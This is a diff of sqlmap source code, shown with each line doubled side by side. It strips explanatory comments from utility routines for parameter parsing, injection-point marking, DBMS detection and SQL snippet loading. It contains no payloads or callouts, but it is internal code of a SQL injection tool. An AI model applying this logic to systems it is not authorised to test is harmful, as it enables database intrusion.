from lib.core.settings import BIGARRAY_CHUNK_SIZE from lib.core.settings import BIGARRAY_CHUNK_SIZE
from lib.core.settings import BIGARRAY_COMPRESS_LEVEL from lib.core.settings import BIGARRAY_COMPRESS_LEVEL
# 尝试获取object()对象的大小如果失败则默认大小为16字节
try: try:
DEFAULT_SIZE_OF = sys.getsizeof(object()) DEFAULT_SIZE_OF = sys.getsizeof(object())
except TypeError: except TypeError:
DEFAULT_SIZE_OF = 16 DEFAULT_SIZE_OF = 16
# 定义一个函数,用于返回给定实例/对象的总大小(以字节为单位)
def _size_of(instance): def _size_of(instance):
""" """
Returns total size of a given instance / object (in bytes) Returns total size of a given instance / object (in bytes)
""" """
# 获取实例/对象的大小
retval = sys.getsizeof(instance, DEFAULT_SIZE_OF) retval = sys.getsizeof(instance, DEFAULT_SIZE_OF)
# 如果实例/对象是字典类型,则递归计算字典中所有元素的大小
if isinstance(instance, dict): if isinstance(instance, dict):
retval += sum(_size_of(_) for _ in itertools.chain.from_iterable(instance.items())) retval += sum(_size_of(_) for _ in itertools.chain.from_iterable(instance.items()))
# 如果实例/对象是可迭代类型,则递归计算可迭代对象中所有元素的大小
elif hasattr(instance, "__iter__"): elif hasattr(instance, "__iter__"):
retval += sum(_size_of(_) for _ in instance if _ != instance) retval += sum(_size_of(_) for _ in instance if _ != instance)
return retval return retval
# 定义一个辅助类,用于存储缓存块
class Cache(object): class Cache(object):
""" """
Auxiliary class used for storing cached chunks Auxiliary class used for storing cached chunks
""" """
# 初始化函数,接收三个参数:索引、数据和脏标记
def __init__(self, index, data, dirty): def __init__(self, index, data, dirty):
self.index = index self.index = index
self.data = data self.data = data
@ -106,11 +94,9 @@ class BigArray(list):
return self return self
# 添加元素到BigArray中
def append(self, value): def append(self, value):
self.chunks[-1].append(value) self.chunks[-1].append(value)
# 如果当前chunk的大小超过了设定的chunk大小则将当前chunk写入临时文件并创建一个新的chunk
if self.chunk_length == sys.maxsize: if self.chunk_length == sys.maxsize:
self._size_counter += _size_of(value) self._size_counter += _size_of(value)
if self._size_counter >= BIGARRAY_CHUNK_SIZE: if self._size_counter >= BIGARRAY_CHUNK_SIZE:
@ -122,12 +108,10 @@ class BigArray(list):
self.chunks[-1] = filename self.chunks[-1] = filename
self.chunks.append([]) self.chunks.append([])
# 扩展BigArray
def extend(self, value): def extend(self, value):
for _ in value: for _ in value:
self.append(_) self.append(_)
# 从BigArray中弹出元素
def pop(self): def pop(self):
if len(self.chunks[-1]) < 1: if len(self.chunks[-1]) < 1:
self.chunks.pop() self.chunks.pop()
@ -141,7 +125,6 @@ class BigArray(list):
return self.chunks[-1].pop() return self.chunks[-1].pop()
# 在BigArray中查找元素
def index(self, value): def index(self, value):
for index in xrange(len(self)): for index in xrange(len(self)):
if self[index] == value: if self[index] == value:
@ -149,7 +132,6 @@ class BigArray(list):
return ValueError, "%s is not in list" % value return ValueError, "%s is not in list" % value
# 将chunk写入临时文件
def _dump(self, chunk): def _dump(self, chunk):
try: try:
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.BIG_ARRAY) handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.BIG_ARRAY)
@ -166,7 +148,6 @@ class BigArray(list):
errMsg += "writeable by the current user" errMsg += "writeable by the current user"
raise SqlmapSystemException(errMsg) raise SqlmapSystemException(errMsg)
# 检查缓存
def _checkcache(self, index): def _checkcache(self, index):
if (self.cache and self.cache.index != index and self.cache.dirty): if (self.cache and self.cache.index != index and self.cache.dirty):
filename = self._dump(self.cache.data) filename = self._dump(self.cache.data)
@ -181,16 +162,13 @@ class BigArray(list):
errMsg += "from a temporary file ('%s')" % ex errMsg += "from a temporary file ('%s')" % ex
raise SqlmapSystemException(errMsg) raise SqlmapSystemException(errMsg)
# 将BigArray序列化
def __getstate__(self): def __getstate__(self):
return self.chunks, self.filenames return self.chunks, self.filenames
# 将BigArray反序列化
def __setstate__(self, state): def __setstate__(self, state):
self.__init__() self.__init__()
self.chunks, self.filenames = state self.chunks, self.filenames = state
# 获取BigArray中指定索引的元素
def __getitem__(self, y): def __getitem__(self, y):
while y < 0: while y < 0:
y += len(self) y += len(self)
@ -205,7 +183,6 @@ class BigArray(list):
self._checkcache(index) self._checkcache(index)
return self.cache.data[offset] return self.cache.data[offset]
# 设置BigArray中指定索引的元素
def __setitem__(self, y, value): def __setitem__(self, y, value):
index = y // self.chunk_length index = y // self.chunk_length
offset = y % self.chunk_length offset = y % self.chunk_length
@ -218,11 +195,9 @@ class BigArray(list):
self.cache.data[offset] = value self.cache.data[offset] = value
self.cache.dirty = True self.cache.dirty = True
# 返回BigArray的字符串表示
def __repr__(self): def __repr__(self):
return "%s%s" % ("..." if len(self.chunks) > 1 else "", self.chunks[-1].__repr__()) return "%s%s" % ("..." if len(self.chunks) > 1 else "", self.chunks[-1].__repr__())
# 返回BigArray的迭代器
def __iter__(self): def __iter__(self):
for i in xrange(len(self)): for i in xrange(len(self)):
try: try:
@ -230,6 +205,5 @@ class BigArray(list):
except IndexError: except IndexError:
break break
# 返回BigArray的长度
def __len__(self): def __len__(self):
return len(self.chunks[-1]) if len(self.chunks) == 1 else (len(self.chunks) - 1) * self.chunk_length + len(self.chunks[-1]) return len(self.chunks[-1]) if len(self.chunks) == 1 else (len(self.chunks) - 1) * self.chunk_length + len(self.chunks[-1])

@ -270,20 +270,15 @@ class Format(object):
@rtype: C{str} @rtype: C{str}
""" """
# Initialize the htmlParsed variable to None
htmlParsed = None htmlParsed = None
# If the knowledge base htmlFp list is empty or the heuristic test is not positive, do nothing
if len(kb.htmlFp) == 0 or kb.heuristicTest != HEURISTIC_TEST.POSITIVE: if len(kb.htmlFp) == 0 or kb.heuristicTest != HEURISTIC_TEST.POSITIVE:
pass pass
# If the knowledge base htmlFp list has only one element, set htmlParsed to that element
elif len(kb.htmlFp) == 1: elif len(kb.htmlFp) == 1:
htmlParsed = kb.htmlFp[0] htmlParsed = kb.htmlFp[0]
# If the knowledge base htmlFp list has more than one element, set htmlParsed to a string of all elements joined by " or "
elif len(kb.htmlFp) > 1: elif len(kb.htmlFp) > 1:
htmlParsed = " or ".join(kb.htmlFp) htmlParsed = " or ".join(kb.htmlFp)
# Return the htmlParsed variable
return htmlParsed return htmlParsed
@staticmethod @staticmethod
@ -390,42 +385,34 @@ class Backend(object):
@staticmethod @staticmethod
def setVersion(version): def setVersion(version):
# 如果version是字符串类型则将kb.dbmsVersion设置为version
if isinstance(version, six.string_types): if isinstance(version, six.string_types):
kb.dbmsVersion = [version] kb.dbmsVersion = [version]
# 返回kb.dbmsVersion
return kb.dbmsVersion return kb.dbmsVersion
@staticmethod @staticmethod
def setVersionList(versionsList): def setVersionList(versionsList):
# 如果versionsList是列表类型则将kb.dbmsVersion设置为versionsList
if isinstance(versionsList, list): if isinstance(versionsList, list):
kb.dbmsVersion = versionsList kb.dbmsVersion = versionsList
# 如果versionsList是字符串类型则调用Backend.setVersion方法
elif isinstance(versionsList, six.string_types): elif isinstance(versionsList, six.string_types):
Backend.setVersion(versionsList) Backend.setVersion(versionsList)
# 否则,记录错误信息
else: else:
logger.error("invalid format of versionsList") logger.error("invalid format of versionsList")
@staticmethod @staticmethod
def forceDbms(dbms, sticky=False): def forceDbms(dbms, sticky=False):
# 如果kb.stickyDBMS为False则将kb.forcedDbms设置为aliasToDbmsEnum(dbms)并将kb.stickyDBMS设置为sticky
if not kb.stickyDBMS: if not kb.stickyDBMS:
kb.forcedDbms = aliasToDbmsEnum(dbms) kb.forcedDbms = aliasToDbmsEnum(dbms)
kb.stickyDBMS = sticky kb.stickyDBMS = sticky
@staticmethod @staticmethod
def flushForcedDbms(force=False): def flushForcedDbms(force=False):
# 如果kb.stickyDBMS为False或者force为True则将kb.forcedDbms设置为None并将kb.stickyDBMS设置为False
if not kb.stickyDBMS or force: if not kb.stickyDBMS or force:
kb.forcedDbms = None kb.forcedDbms = None
kb.stickyDBMS = False kb.stickyDBMS = False
@staticmethod @staticmethod
def setOs(os): def setOs(os):
# 如果os为None则返回None
if os is None: if os is None:
return None return None
@ -523,36 +510,26 @@ class Backend(object):
dbms = None dbms = None
# 如果kb为空则不执行任何操作
if not kb: if not kb:
pass pass
# 如果kb中没有testMode并且dbmsHandler存在并且dbmsHandler._dbms存在则将dbms赋值为dbmsHandler._dbms
elif not kb.get("testMode") and conf.get("dbmsHandler") and getattr(conf.dbmsHandler, "_dbms", None): elif not kb.get("testMode") and conf.get("dbmsHandler") and getattr(conf.dbmsHandler, "_dbms", None):
dbms = conf.dbmsHandler._dbms dbms = conf.dbmsHandler._dbms
# 如果Backend.getForcedDbms()不为空则将dbms赋值为Backend.getForcedDbms()
elif Backend.getForcedDbms() is not None: elif Backend.getForcedDbms() is not None:
dbms = Backend.getForcedDbms() dbms = Backend.getForcedDbms()
# 如果Backend.getDbms()不为空则将dbms赋值为Backend.getDbms()
elif Backend.getDbms() is not None: elif Backend.getDbms() is not None:
dbms = Backend.getDbms() dbms = Backend.getDbms()
# 如果kb中有injection并且kb.injection.dbms存在则将dbms赋值为kb.injection.dbms
elif kb.get("injection") and kb.injection.dbms: elif kb.get("injection") and kb.injection.dbms:
dbms = unArrayizeValue(kb.injection.dbms) dbms = unArrayizeValue(kb.injection.dbms)
# 如果Backend.getErrorParsedDBMSes()存在则将dbms赋值为Backend.getErrorParsedDBMSes()
elif Backend.getErrorParsedDBMSes(): elif Backend.getErrorParsedDBMSes():
dbms = unArrayizeValue(Backend.getErrorParsedDBMSes()) dbms = unArrayizeValue(Backend.getErrorParsedDBMSes())
# 如果conf中有dbms则将dbms赋值为conf.get("dbms")
elif conf.get("dbms"): elif conf.get("dbms"):
dbms = conf.get("dbms") dbms = conf.get("dbms")
# 将dbms转换为dbmsEnum类型并返回
return aliasToDbmsEnum(dbms) return aliasToDbmsEnum(dbms)
@staticmethod @staticmethod
def getVersion(): def getVersion():
# 如果kb.dbmsVersion不是字符串类型则将kb.dbmsVersion展开并过滤掉None值否则将kb.dbmsVersion赋值给versions
versions = filterNone(flattenValue(kb.dbmsVersion)) if not isinstance(kb.dbmsVersion, six.string_types) else [kb.dbmsVersion] versions = filterNone(flattenValue(kb.dbmsVersion)) if not isinstance(kb.dbmsVersion, six.string_types) else [kb.dbmsVersion]
# 如果versions不为空则返回versions的第一个元素否则返回None
if not isNoneValue(versions): if not isNoneValue(versions):
return versions[0] return versions[0]
else: else:
@ -560,9 +537,7 @@ class Backend(object):
@staticmethod @staticmethod
def getVersionList(): def getVersionList():
# 如果kb.dbmsVersion不是字符串类型则将kb.dbmsVersion展开并过滤掉None值否则将kb.dbmsVersion赋值给versions
versions = filterNone(flattenValue(kb.dbmsVersion)) if not isinstance(kb.dbmsVersion, six.string_types) else [kb.dbmsVersion] versions = filterNone(flattenValue(kb.dbmsVersion)) if not isinstance(kb.dbmsVersion, six.string_types) else [kb.dbmsVersion]
# 如果versions不为空则返回versions否则返回None
if not isNoneValue(versions): if not isNoneValue(versions):
return versions return versions
else: else:
@ -643,48 +618,35 @@ def paramToDict(place, parameters=None):
testableParameters = OrderedDict() testableParameters = OrderedDict()
# 如果place在conf.parameters中并且parameters为空则将parameters设置为conf.parameters[place]
if place in conf.parameters and not parameters: if place in conf.parameters and not parameters:
parameters = conf.parameters[place] parameters = conf.parameters[place]
# 将parameters中的&替换为PARAMETER_AMP_MARKER;替换为PARAMETER_SEMICOLON_MARKER
parameters = re.sub(r"&(\w{1,4});", r"%s\g<1>%s" % (PARAMETER_AMP_MARKER, PARAMETER_SEMICOLON_MARKER), parameters) parameters = re.sub(r"&(\w{1,4});", r"%s\g<1>%s" % (PARAMETER_AMP_MARKER, PARAMETER_SEMICOLON_MARKER), parameters)
# 根据place的值将parameters按照不同的分隔符进行分割
if place == PLACE.COOKIE: if place == PLACE.COOKIE:
splitParams = parameters.split(conf.cookieDel or DEFAULT_COOKIE_DELIMITER) splitParams = parameters.split(conf.cookieDel or DEFAULT_COOKIE_DELIMITER)
else: else:
splitParams = parameters.split(conf.paramDel or DEFAULT_GET_POST_DELIMITER) splitParams = parameters.split(conf.paramDel or DEFAULT_GET_POST_DELIMITER)
# 遍历分割后的参数
for element in splitParams: for element in splitParams:
# 将PARAMETER_AMP_MARKER和PARAMETER_SEMICOLON_MARKER替换为&和;
element = re.sub(r"%s(.+?)%s" % (PARAMETER_AMP_MARKER, PARAMETER_SEMICOLON_MARKER), r"&\g<1>;", element) element = re.sub(r"%s(.+?)%s" % (PARAMETER_AMP_MARKER, PARAMETER_SEMICOLON_MARKER), r"&\g<1>;", element)
# 将参数按照=进行分割
parts = element.split("=") parts = element.split("=")
# 如果分割后的参数长度大于等于2
if len(parts) >= 2: if len(parts) >= 2:
# 对参数进行url解码
parameter = urldecode(parts[0].replace(" ", "")) parameter = urldecode(parts[0].replace(" ", ""))
# 如果参数为空,则跳过
if not parameter: if not parameter:
continue continue
# 如果conf.paramDel为\n则去掉参数的最后一个字符
if conf.paramDel and conf.paramDel == '\n': if conf.paramDel and conf.paramDel == '\n':
parts[-1] = parts[-1].rstrip() parts[-1] = parts[-1].rstrip()
# 判断参数是否在conf.testParameter中或者参数是否在conf.testParameter中或者参数是否在PLACE.COOKIE中
condition = not conf.testParameter condition = not conf.testParameter
condition |= conf.testParameter is not None and parameter in conf.testParameter condition |= conf.testParameter is not None and parameter in conf.testParameter
condition |= place == PLACE.COOKIE and len(intersect((PLACE.COOKIE,), conf.testParameter, True)) > 0 condition |= place == PLACE.COOKIE and len(intersect((PLACE.COOKIE,), conf.testParameter, True)) > 0
# 如果满足条件则将参数和值添加到testableParameters中
if condition: if condition:
value = "=".join(parts[1:]) value = "=".join(parts[1:])
# 如果参数在conf.base64Parameter中则进行base64解码
if parameter in (conf.base64Parameter or []): if parameter in (conf.base64Parameter or []):
try: try:
kb.base64Originals[parameter] = oldValue = value kb.base64Originals[parameter] = oldValue = value
@ -698,10 +660,8 @@ def paramToDict(place, parameters=None):
testableParameters[parameter] = value testableParameters[parameter] = value
# 如果没有设置conf.multipleTargets并且参数不是conf.csrfToken则进行警告
if not conf.multipleTargets and not (conf.csrfToken and re.search(conf.csrfToken, parameter, re.I)): if not conf.multipleTargets and not (conf.csrfToken and re.search(conf.csrfToken, parameter, re.I)):
_ = urldecode(testableParameters[parameter], convall=True) _ = urldecode(testableParameters[parameter], convall=True)
# 如果参数值以'结尾,并且'的数量为1或者参数值以9开头或者参数值以-开头或者参数值匹配DUMMY_USER_INJECTION并且参数不是GOOGLE_ANALYTICS_COOKIE_PREFIX则进行警告
if (_.endswith("'") and _.count("'") == 1 or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', _) or re.search(DUMMY_USER_INJECTION, _)) and not parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX): if (_.endswith("'") and _.count("'") == 1 or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', _) or re.search(DUMMY_USER_INJECTION, _)) and not parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX):
warnMsg = "it appears that you have provided tainted parameter values " warnMsg = "it appears that you have provided tainted parameter values "
warnMsg += "('%s') with most likely leftover " % element warnMsg += "('%s') with most likely leftover " % element
@ -712,17 +672,14 @@ def paramToDict(place, parameters=None):
message = "are you really sure that you want to continue (sqlmap could have problems)? [y/N] " message = "are you really sure that you want to continue (sqlmap could have problems)? [y/N] "
# 如果用户输入的不是y则抛出SqlmapSilentQuitException异常
if not readInput(message, default='N', boolean=True): if not readInput(message, default='N', boolean=True):
raise SqlmapSilentQuitException raise SqlmapSilentQuitException
# 如果参数值为空,则进行警告
elif not _: elif not _:
warnMsg = "provided value for parameter '%s' is empty. " % parameter warnMsg = "provided value for parameter '%s' is empty. " % parameter
warnMsg += "Please, always use only valid parameter values " warnMsg += "Please, always use only valid parameter values "
warnMsg += "so sqlmap could be able to run properly" warnMsg += "so sqlmap could be able to run properly"
logger.warning(warnMsg) logger.warning(warnMsg)
# 如果place是PLACE.POST或PLACE.GET则进行警告
if place in (PLACE.POST, PLACE.GET): if place in (PLACE.POST, PLACE.GET):
for regex in (r"\A((?:<[^>]+>)+\w+)((?:<[^>]+>)+)\Z", r"\A([^\w]+.*\w+)([^\w]+)\Z"): for regex in (r"\A((?:<[^>]+>)+\w+)((?:<[^>]+>)+)\Z", r"\A([^\w]+.*\w+)([^\w]+)\Z"):
match = re.search(regex, testableParameters[parameter]) match = re.search(regex, testableParameters[parameter])
@ -730,19 +687,15 @@ def paramToDict(place, parameters=None):
try: try:
candidates = OrderedDict() candidates = OrderedDict()
# 遍历参数值
def walk(head, current=None): def walk(head, current=None):
if current is None: if current is None:
current = head current = head
# 如果current是列表则遍历列表
if isListLike(current): if isListLike(current):
for _ in current: for _ in current:
walk(head, _) walk(head, _)
# 如果current是字典则遍历字典
elif isinstance(current, dict): elif isinstance(current, dict):
for key in current.keys(): for key in current.keys():
value = current[key] value = current[key]
# 如果value是bool、int、float、six.string_types或者value是None、[],则进行替换
if isinstance(value, (bool, int, float, six.string_types)) or value in (None, []): if isinstance(value, (bool, int, float, six.string_types)) or value in (None, []):
original = current[key] original = current[key]
if isinstance(value, bool): if isinstance(value, bool):
@ -755,7 +708,6 @@ def paramToDict(place, parameters=None):
current[key] = "%s%s" % (value, BOUNDED_INJECTION_MARKER) current[key] = "%s%s" % (value, BOUNDED_INJECTION_MARKER)
candidates["%s (%s)" % (parameter, key)] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % json.dumps(deserialized, separators=(',', ':') if ", " not in testableParameters[parameter] else None), parameters) candidates["%s (%s)" % (parameter, key)] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % json.dumps(deserialized, separators=(',', ':') if ", " not in testableParameters[parameter] else None), parameters)
current[key] = original current[key] = original
# 如果value是列表、元组、集合、字典则进行递归
elif isinstance(value, (list, tuple, set, dict)): elif isinstance(value, (list, tuple, set, dict)):
if value: if value:
walk(head, value) walk(head, value)
@ -784,42 +736,32 @@ def paramToDict(place, parameters=None):
except Exception: except Exception:
pass pass
# 使用正则表达式替换testableParameters[parameter]中的匹配项
_ = re.sub(regex, r"\g<1>%s\g<%d>" % (kb.customInjectionMark, len(match.groups())), testableParameters[parameter]) _ = re.sub(regex, r"\g<1>%s\g<%d>" % (kb.customInjectionMark, len(match.groups())), testableParameters[parameter])
# 构造提示信息
message = "it appears that provided value for %sparameter '%s' " % ("%s " % place if place != parameter else "", parameter) message = "it appears that provided value for %sparameter '%s' " % ("%s " % place if place != parameter else "", parameter)
message += "has boundaries. Do you want to inject inside? ('%s') [y/N] " % getUnicode(_) message += "has boundaries. Do you want to inject inside? ('%s') [y/N] " % getUnicode(_)
# 读取用户输入如果用户选择注入则替换testableParameters[parameter]中的匹配项
if readInput(message, default='N', boolean=True): if readInput(message, default='N', boolean=True):
testableParameters[parameter] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), (r"\g<1>%s" % re.sub(regex, r"\g<1>%s\g<2>" % BOUNDED_INJECTION_MARKER, testableParameters[parameter].replace("\\", r"\\"))), parameters) testableParameters[parameter] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), (r"\g<1>%s" % re.sub(regex, r"\g<1>%s\g<2>" % BOUNDED_INJECTION_MARKER, testableParameters[parameter].replace("\\", r"\\"))), parameters)
break break
# 如果配置了测试参数
if conf.testParameter: if conf.testParameter:
# 如果没有可测试的参数
if not testableParameters: if not testableParameters:
paramStr = ", ".join(test for test in conf.testParameter) paramStr = ", ".join(test for test in conf.testParameter)
# 如果测试参数数量大于1
if len(conf.testParameter) > 1: if len(conf.testParameter) > 1:
warnMsg = "provided parameters '%s' " % paramStr warnMsg = "provided parameters '%s' " % paramStr
warnMsg += "are not inside the %s" % place warnMsg += "are not inside the %s" % place
logger.warning(warnMsg) logger.warning(warnMsg)
else: else:
# 如果测试参数数量为1
parameter = conf.testParameter[0] parameter = conf.testParameter[0]
# 如果测试参数不在USER_AGENT_ALIASES、REFERER_ALIASES、HOST_ALIASES中
if not intersect(USER_AGENT_ALIASES + REFERER_ALIASES + HOST_ALIASES, parameter, True): if not intersect(USER_AGENT_ALIASES + REFERER_ALIASES + HOST_ALIASES, parameter, True):
debugMsg = "provided parameter '%s' " % paramStr debugMsg = "provided parameter '%s' " % paramStr
debugMsg += "is not inside the %s" % place debugMsg += "is not inside the %s" % place
logger.debug(debugMsg) logger.debug(debugMsg)
# 如果测试参数数量不等于可测试参数数量
elif len(conf.testParameter) != len(testableParameters): elif len(conf.testParameter) != len(testableParameters):
for parameter in conf.testParameter: for parameter in conf.testParameter:
# 如果测试参数不在可测试参数中
if parameter not in testableParameters: if parameter not in testableParameters:
debugMsg = "provided parameter '%s' " % parameter debugMsg = "provided parameter '%s' " % parameter
debugMsg += "is not inside the %s" % place debugMsg += "is not inside the %s" % place
@ -875,16 +817,13 @@ def getManualDirectories():
directories = normalizePath(directories) directories = normalizePath(directories)
# 如果配置文件中有webRoot则使用webRoot作为web服务器文档根目录
if conf.webRoot: if conf.webRoot:
directories = [conf.webRoot] directories = [conf.webRoot]
infoMsg = "using '%s' as web server document root" % conf.webRoot infoMsg = "using '%s' as web server document root" % conf.webRoot
logger.info(infoMsg) logger.info(infoMsg)
# 如果directories有值则使用directories作为web服务器文档根目录
elif directories: elif directories:
infoMsg = "retrieved the web server document root: '%s'" % directories infoMsg = "retrieved the web server document root: '%s'" % directories
logger.info(infoMsg) logger.info(infoMsg)
# 如果以上两种情况都不满足则提示无法自动获取web服务器文档根目录
else: else:
warnMsg = "unable to automatically retrieve the web server " warnMsg = "unable to automatically retrieve the web server "
warnMsg += "document root" warnMsg += "document root"
@ -892,7 +831,6 @@ def getManualDirectories():
directories = [] directories = []
# 提示用户选择可写目录
message = "what do you want to use for writable directory?\n" message = "what do you want to use for writable directory?\n"
message += "[1] common location(s) ('%s') (default)\n" % ", ".join(root for root in defaultDocRoot) message += "[1] common location(s) ('%s') (default)\n" % ", ".join(root for root in defaultDocRoot)
message += "[2] custom location(s)\n" message += "[2] custom location(s)\n"
@ -1701,64 +1639,48 @@ def parseTargetDirect():
break break
# 如果kb.smokeMode为True则直接返回
if kb.smokeMode: if kb.smokeMode:
return return
# 如果details为空则抛出SqlmapSyntaxException异常
if not details: if not details:
errMsg = "invalid target details, valid syntax is for instance " errMsg = "invalid target details, valid syntax is for instance "
errMsg += "'mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME' " errMsg += "'mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME' "
errMsg += "or 'access://DATABASE_FILEPATH'" errMsg += "or 'access://DATABASE_FILEPATH'"
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
# 遍历DBMS_DICT字典
for dbmsName, data in DBMS_DICT.items(): for dbmsName, data in DBMS_DICT.items():
# 如果dbmsName等于conf.dbms或者conf.dbms.lower()在data[0]中,则执行以下操作
if dbmsName == conf.dbms or conf.dbms.lower() in data[0]: if dbmsName == conf.dbms or conf.dbms.lower() in data[0]:
try: try:
# 将conf.dbms设置为dbmsName
conf.dbms = dbmsName conf.dbms = dbmsName
# 如果dbmsName在(DBMS.ACCESS, DBMS.SQLITE, DBMS.FIREBIRD)中,则执行以下操作
if dbmsName in (DBMS.ACCESS, DBMS.SQLITE, DBMS.FIREBIRD): if dbmsName in (DBMS.ACCESS, DBMS.SQLITE, DBMS.FIREBIRD):
# 如果remote为True则抛出警告信息
if remote: if remote:
warnMsg = "direct connection over the network for " warnMsg = "direct connection over the network for "
warnMsg += "%s DBMS is not supported" % dbmsName warnMsg += "%s DBMS is not supported" % dbmsName
logger.warning(warnMsg) logger.warning(warnMsg)
# 将conf.hostname设置为localhostconf.port设置为0
conf.hostname = "localhost" conf.hostname = "localhost"
conf.port = 0 conf.port = 0
# 如果remote为False则抛出SqlmapSyntaxException异常
elif not remote: elif not remote:
errMsg = "missing remote connection details (e.g. " errMsg = "missing remote connection details (e.g. "
errMsg += "'mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME' " errMsg += "'mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME' "
errMsg += "or 'access://DATABASE_FILEPATH')" errMsg += "or 'access://DATABASE_FILEPATH')"
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
# 如果dbmsName在(DBMS.MSSQL, DBMS.SYBASE)中,则执行以下操作
if dbmsName in (DBMS.MSSQL, DBMS.SYBASE): if dbmsName in (DBMS.MSSQL, DBMS.SYBASE):
# 导入_mssql模块
__import__("_mssql") __import__("_mssql")
# 导入pymssql模块
pymssql = __import__("pymssql") pymssql = __import__("pymssql")
# 如果pymssql没有__version__属性或者pymssql.__version__小于1.0.2则抛出SqlmapMissingDependence异常
if not hasattr(pymssql, "__version__") or pymssql.__version__ < "1.0.2": if not hasattr(pymssql, "__version__") or pymssql.__version__ < "1.0.2":
errMsg = "'%s' third-party library must be " % data[1] errMsg = "'%s' third-party library must be " % data[1]
errMsg += "version >= 1.0.2 to work properly. " errMsg += "version >= 1.0.2 to work properly. "
errMsg += "Download from '%s'" % data[2] errMsg += "Download from '%s'" % data[2]
raise SqlmapMissingDependence(errMsg) raise SqlmapMissingDependence(errMsg)
# 如果dbmsName等于DBMS.MYSQL则导入pymysql模块
elif dbmsName == DBMS.MYSQL: elif dbmsName == DBMS.MYSQL:
__import__("pymysql") __import__("pymysql")
# 如果dbmsName等于DBMS.PGSQL则导入psycopg2模块
elif dbmsName == DBMS.PGSQL: elif dbmsName == DBMS.PGSQL:
__import__("psycopg2") __import__("psycopg2")
# 如果dbmsName等于DBMS.ORACLE则导入cx_Oracle模块
elif dbmsName == DBMS.ORACLE: elif dbmsName == DBMS.ORACLE:
__import__("cx_Oracle") __import__("cx_Oracle")
@ -2515,29 +2437,21 @@ def getSQLSnippet(dbms, sfile, **variables):
filename = os.path.join(paths.SQLMAP_PROCS_PATH, DBMS_DIRECTORY_DICT[dbms], sfile if sfile.endswith('.sql') else "%s.sql" % sfile) filename = os.path.join(paths.SQLMAP_PROCS_PATH, DBMS_DIRECTORY_DICT[dbms], sfile if sfile.endswith('.sql') else "%s.sql" % sfile)
checkFile(filename) checkFile(filename)
# 读取缓存文件内容
retVal = readCachedFileContent(filename) retVal = readCachedFileContent(filename)
# 删除注释
retVal = re.sub(r"#.+", "", retVal) retVal = re.sub(r"#.+", "", retVal)
# 将分号替换为"; "
retVal = re.sub(r";\s+", "; ", retVal).strip("\r\n") retVal = re.sub(r";\s+", "; ", retVal).strip("\r\n")
# 替换变量
for _ in variables: for _ in variables:
retVal = re.sub(r"%%%s%%" % _, variables[_].replace('\\', r'\\'), retVal) retVal = re.sub(r"%%%s%%" % _, variables[_].replace('\\', r'\\'), retVal)
# 替换随机字符串
for _ in re.findall(r"%RANDSTR\d+%", retVal, re.I): for _ in re.findall(r"%RANDSTR\d+%", retVal, re.I):
retVal = retVal.replace(_, randomStr()) retVal = retVal.replace(_, randomStr())
# 替换随机整数
for _ in re.findall(r"%RANDINT\d+%", retVal, re.I): for _ in re.findall(r"%RANDINT\d+%", retVal, re.I):
retVal = retVal.replace(_, randomInt()) retVal = retVal.replace(_, randomInt())
# 查找未解析的变量
variables = re.findall(r"(?<!\bLIKE ')%(\w+)%", retVal, re.I) variables = re.findall(r"(?<!\bLIKE ')%(\w+)%", retVal, re.I)
# 如果有未解析的变量,则提示用户输入替换值
if variables: if variables:
errMsg = "unresolved variable%s '%s' in SQL file '%s'" % ("s" if len(variables) > 1 else "", ", ".join(variables), sfile) errMsg = "unresolved variable%s '%s' in SQL file '%s'" % ("s" if len(variables) > 1 else "", ", ".join(variables), sfile)
logger.error(errMsg) logger.error(errMsg)
@ -2560,7 +2474,6 @@ def readCachedFileContent(filename, mode="rb"):
True True
""" """
# 如果文件不在缓存中,则读取文件内容并缓存
if filename not in kb.cache.content: if filename not in kb.cache.content:
with kb.locks.cache: with kb.locks.cache:
if filename not in kb.cache.content: if filename not in kb.cache.content:
@ -4022,7 +3935,6 @@ def fetchRandomAgent():
True True
""" """
# 如果kb.userAgents为空则从文件中加载HTTP User-Agent header值
if not kb.userAgents: if not kb.userAgents:
debugMsg = "loading random HTTP User-Agent header(s) from " debugMsg = "loading random HTTP User-Agent header(s) from "
debugMsg += "file '%s'" % paths.USER_AGENTS debugMsg += "file '%s'" % paths.USER_AGENTS
@ -4035,7 +3947,6 @@ def fetchRandomAgent():
errMsg += "file '%s'" % paths.USER_AGENTS errMsg += "file '%s'" % paths.USER_AGENTS
raise SqlmapSystemException(errMsg) raise SqlmapSystemException(errMsg)
# 从kb.userAgents中随机选择一个User-Agent header值并返回
return random.sample(kb.userAgents, 1)[0] return random.sample(kb.userAgents, 1)[0]
def createGithubIssue(errMsg, excMsg): def createGithubIssue(errMsg, excMsg):
@ -4043,7 +3954,6 @@ def createGithubIssue(errMsg, excMsg):
Automatically create a Github issue with unhandled exception information Automatically create a Github issue with unhandled exception information
""" """
# 从文件中获取已创建的Github issue列表
try: try:
issues = getFileItems(paths.GITHUB_HISTORY, unique=True) issues = getFileItems(paths.GITHUB_HISTORY, unique=True)
except: except:
@ -4051,7 +3961,6 @@ def createGithubIssue(errMsg, excMsg):
finally: finally:
issues = set(issues) issues = set(issues)
# 对异常信息进行处理,去除不必要的字符
_ = re.sub(r"'[^']+'", "''", excMsg) _ = re.sub(r"'[^']+'", "''", excMsg)
_ = re.sub(r"\s+line \d+", "", _) _ = re.sub(r"\s+line \d+", "", _)
